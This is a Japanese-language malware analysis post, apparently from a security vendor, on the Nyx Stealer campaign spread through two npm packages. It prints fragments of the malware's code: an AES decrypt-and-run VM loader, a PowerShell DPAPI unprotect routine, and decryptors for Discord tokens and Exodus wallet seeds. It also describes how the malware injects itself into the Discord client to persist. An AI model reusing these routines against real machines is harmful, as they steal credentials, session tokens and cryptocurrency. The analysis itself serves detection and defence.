TL; DR
Xygeniセキュリティ研究チーム 2つの悪意のあるパッケージを通じて配信される、高度なnpm情報窃盗キャンペーンを特定しました。 コンソールロフィ (NAIST) と セルフボット・ロフィー.
最新バージョン (consolelofy@1.3.0) 実行時に復号化され、実行される 216KB の AES 暗号化ペイロードを埋め込む vm.runInNewContext()悪意のあるロジックは完全に暗号化されているため、文字列検査に依存する静的スキャナーは、実行時までその動作を観測することができません。
復号化されると、内部的にブランド化されたペイロード ニクス・スティーラー、 ターゲット:
- Discord認証トークン
- 50以上のブラウザ認証情報ストア
- 90種類以上の暗号通貨ウォレット拡張機能
- Roblox、Instagram、Spotify、Steam、Telegram、TikTokのセッション
- Discordデスクトップクライアントの永続性
両パッケージの全20バージョンが報告され、悪意のあるものであると確認された。
このnpm Infostealerの技術概要
従来のインストール時マルウェアとは異なり、このキャンペーンは ランタイム 復号モデル.
がある:
- 悪意はありません
preinstallorpostinstallhooks - インストール時のネットワーク呼び出しは特に見当たらない
- 平文による認証情報収集ロジックは存在しない
ペイロードはモジュールがインポートされたときに起動します。悪意のあるコード全体は暗号化されており、実行時にのみメモリ上に可視化されます。
この設計は、パッケージのインストール中に検出されることを意図的に回避するものです。
このnpm情報窃盗ツールは実際にはどのように実行されるのか
Nyx Stealerが何を盗むかを分析する前に、 どのように実行されるか.
このnpm情報窃盗マルウェアの内部に潜む悪意のあるロジックは、一貫したパターンに従っています。
小型ローダーは、暗号化された大きなペイロードを復号化し、Node.js VMコンテキスト内で動的に実行します。
この設計は意図的なものです。攻撃者は難読化だけで機能を隠しているのではなく、 静的可視性から悪意のあるコードを完全に削除する.
高レベル実行モデル
大まかに言うと、ラッパーは次の4つのことを行います。
- SHA-256を使用して、ハードコードされたパスフレーズからAESキーを生成します。
- AES-256-CBCを使用して、大きな16進数エンコードされた暗号文を復号します。
- 復号化されたJavaScriptを実行します
vm.runInNewContext() - 強力なランタイムプリミティブを公開しつつ、サンドボックス環境を提供する。
コアテクニックの概要
| 成分 | 構成/値 |
|---|---|
| アルゴリズム | AES-CBC-256 |
| キーの導出 | SHA-256(パスフレーズ) |
| 初期化ベクトル(IV) | 16バイトの0x00 |
| 実行 | vm.runInNewContext(decrypted, sandbox) |
重要な点として、サンドボックスは以下を通過します。
requireprocessBuffer- タイマー
- モジュールのエクスポート
これは、復号化されたペイロードが以下の機能を完全に保持していることを意味します。
- プロセスを生成する
- ファイルの読み取りと書き込み
- ネットワーク通話を行う
- ローカルアプリケーションを変更する
これは制限付き仮想マシンではありません。実行トランポリンとして使用される仮想マシンです。
実行時暗号化パターン(コア実行メカニズム)
ローダーは小型です。
悪意のある物体は存在しない。
パッケージ内で見つかった実行パターンは以下のとおりです。
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } なぜこれが問題
復号化されたペイロード:
- か npmパッケージ内にプレーンテキストで存在します
- 単純なものには見えない
grepまたは静的文字列スキャン - 実行時にのみメモリ上に具体化される
- Nodeランタイムの全機能を使用して実行されます
このAES + VM実行の組み合わせは、 npm infostealer が静的検査を回避しようとしています.
言い換えると:
パッケージのソースツリーをスキャンしても、スティーラーは見つかりません。
復号ツールが見えます。
復号化後に何が起こるのか
Nyx Stealerは実行されると、並列データ収集ウェーブを開始します。
ウェーブ1:ブラウザ認証情報の抽出
マルウェア:
- NuGet CDNからPythonランタイムをダウンロードします
- 暗号化ライブラリをインストールします
- Chromiumベースの認証情報ストアを抽出する
- DPAPIで保護された秘密情報を復号します
ネイティブバインディングをコンパイルする代わりに、PowerShellを活用してWindows DPAPIを直接呼び出します。
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } このアプローチ:
- コンパイル時のアーティファクトを回避する
- Windowsネイティブの暗号化APIを使用します
- 管理ツールに溶け込む
これはOSレベルの認証情報復号であり、スクレイピングではありません。
ウェーブ2:Discordトークンの復号化
窃盗犯はプロトコルを認識している。Discordの暗号化されたトークン形式を理解している。
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } 運用フロー:
- Discordからマスターキーを抽出する
Local State - DPAPI経由でマスターキーを復号化
- AES-GCMトークンブロブを復号化
- Discord APIに対してトークンを検証する
- Nitro、バッジ、請求情報を追加して充実させよう
これは一般的な認証情報漏洩ではありません。プロトコルを認識したセッションハイジャックです。
第3波:暗号通貨ウォレットのターゲティング
npm infostealer は以下を列挙します。
- 90種類以上のブラウザウォレット拡張機能
- デスクトップウォレット27個
- コールドウォレットパス
- エクソダスシードファイル
シード復号化の試行例:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } ウォレットへのアクセスが成功した場合、その侵害は即座に発生し、取り返しがつかない。
これは、キャンペーンにおける最も価値の高い収益化手段を表しています。
Discordデスクトップインジェクションによる永続化
認証情報を取得した後、Nyx Stealer はローカルのファイルを変更することで永続化を試みます。 Discord クライアント。
ターゲット:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js 操作手順
情報窃盗犯は以下の手順を実行します。
- 実行中のDiscordプロセスを終了します
- インストールされているDiscordのバージョン(Stable、Canary、PTB)を検出します。
- 上書きします
discord_desktop_core/index.js - 攻撃者が制御するウェブフックロジックを挿入する
- Discordを再起動する
これにより、今後のDiscordセッションにおいて、新しい認証トークンが自動的に漏洩することが保証されます。
重要なのは、この永続化機能はスケジュールされたタスクやレジストリの変更に依存しない点です。アプリケーションレベルのコード変更を活用することで、よりステルス性の高いアプローチを実現しています。
たとえ悪意のあるnpmパッケージが後で削除されたとしても、Discordクライアントは依然として侵害された状態のままです。
技術比較:正規のSelfbotとnpm Infostealer
| 成分 | 正規の図書館 | Nyx npm Infostealer |
|---|---|---|
| Encryption | なし | ペイロード全体がAES暗号化されています |
| ランタイムVM | 必須ではありません | vm.runInNewContext 実行 |
| クレデンシャルアクセス | Discord APIのみ | ブラウザ、ウォレット、DPAPI |
| 外部ダウンロード | いいえ | NuGet 経由の Python ランタイム |
| 固執 | いいえ | Discordクライアントの注入 |
| 収益化 | ボットの自動化 | 資格情報の転売 |
暗号化レイヤーだけでも、このキャンペーンは一般的なオープンソースのフォークとは一線を画している。
正当なDiscordセルフボットであれば、コードベース全体を暗号化したり、PowerShellを起動してDPAPIにアクセスしたり、外部ランタイムをダウンロードしたり、デスクトップアプリケーションの内部構造を変更したりする理由は一切ありません。しかし、Discordのやり取りを自動化すると謳う依存関係の中にこれらの機能が含まれている場合、アーキテクチャ上の不一致は無視できないものとなります。
調査の観点から見ると、このnpm情報窃盗マルウェアは複数のレイヤーにわたって痕跡を残します。しかし、最も信頼できる指標は、バージョン間で変更される可能性のあるハードコードされたURLや特定のファイルパスではありません。むしろ、永続的なシグナルは構造的なものです。
パッケージレベルでは、大きな暗号化ペイロードと、すぐに実行されるランタイム復号ラッパーの組み合わせが最も強い危険信号です。 vm.runInNewContext()暗号化自体は必ずしも悪意のある行為ではありませんが、Discordユーティリティパッケージ内でAES復号化とそれに続く動的VM実行を行うことは、非常に異常です。
ホストレベルでは、予期しないDPAPI復号化アクティビティ、Node.js依存関係コンテキストからのプロセス生成、サードパーティライブラリによって変更されるべきではないローカルアプリケーションファイルの改変などが疑わしいパターンとして挙げられます。同様に、ネットワーク層では、開発依存関係によって開始されるアウトバウンドWebhookスタイルの通信も、重要な異常として認識されます。
言い換えれば、検出対象領域は侵害を示す単一の指標ではありません。脅威を明らかにするのは、暗号化、実行時動作、認証情報へのアクセス、および永続的な動作の相関関係です。
Xygeniによる検出と軽減
このnpm情報窃盗犯は、 Xygeniのマルウェア早期警告システム(MEW) 単純な特徴照合ではなく、階層的な行動相関を通じて行う。
MEWは、既知の悪意のある文字列を検索する代わりに、ソースツリー全体にわたる構造的な異常を評価します。今回のケースでは、モジュールのエントリポイントに組み込まれたAES復号ルーチン、VMコンテキスト内での即時実行、そして明確な機能と意図の不一致といった複数のシグナルが重なり合った結果、検出に至りました。
重要なのは、これらのシグナルのいずれも単独では悪意を証明するものではないということです。しかし、これらを総合的に分析することで、実行時動作を隠蔽しようとする試みが明らかになります。この多層的なアプローチにより、誤検知を大幅に削減しつつ、サプライチェーンにおける高信頼性の脅威を特定できます。
さらに、この事例は、インストール時の検査だけでは不十分である理由を示しています。悪意のあるロジックはライフサイクルスクリプトには存在せず、モジュールがロードされた後にのみアクティブになり、メモリ内で復号化されて初めて可視化されます。したがって、効果的な防御には、暗号化を考慮した分析、動作パターンの認識、およびインストールイベントを超えた継続的な依存関係の監視が必要です。
レジストリの削除は事後対応型である。実行時対応型の分析は予防的である。
なぜこのnpm情報窃盗ツールが重要なのか
Nyx Stealerは、npmベースのマルウェアにおける構造的な進化を象徴するものです。
従来、多くの悪意のあるパッケージは、インストール時に目に見えるスクリプトや、認証情報漏洩の明白なエンドポイントに依存していました。それに対し、今回の攻撃キャンペーンは、ペイロードを暗号化し、実行をランタイムまで延期し、正規のオペレーティングシステムAPIを活用し、信頼できるアプリケーション内部に永続的なアクセスを確立します。
したがって、攻撃者はnpmのインフラストラクチャ自体を悪用する必要はありません。代わりに、依存関係のインストールは信頼を意味するため、攻撃は成功します。開発者は、特にそれが人気のあるツールのもっともらしいフォークとして提示されている場合、ライブラリのインポートは安全な操作であると考えるからです。
エコシステムが拡大し、フォークが増殖するにつれて、暗黙の信頼境界はますます魅力的な攻撃対象領域となる。したがって、現代のnpm情報窃盗攻撃から身を守るには、静的な文字列を探すのではなく、アーキテクチャパターンを認識する必要がある。
最終的に、このキャンペーンは重要な教訓を強調する。 software supply chain security最も危険な脅威は、一見悪意があるように見えるものではなく、実行時にその真の挙動が明らかになるまで、構造的に正当に見えるものである。




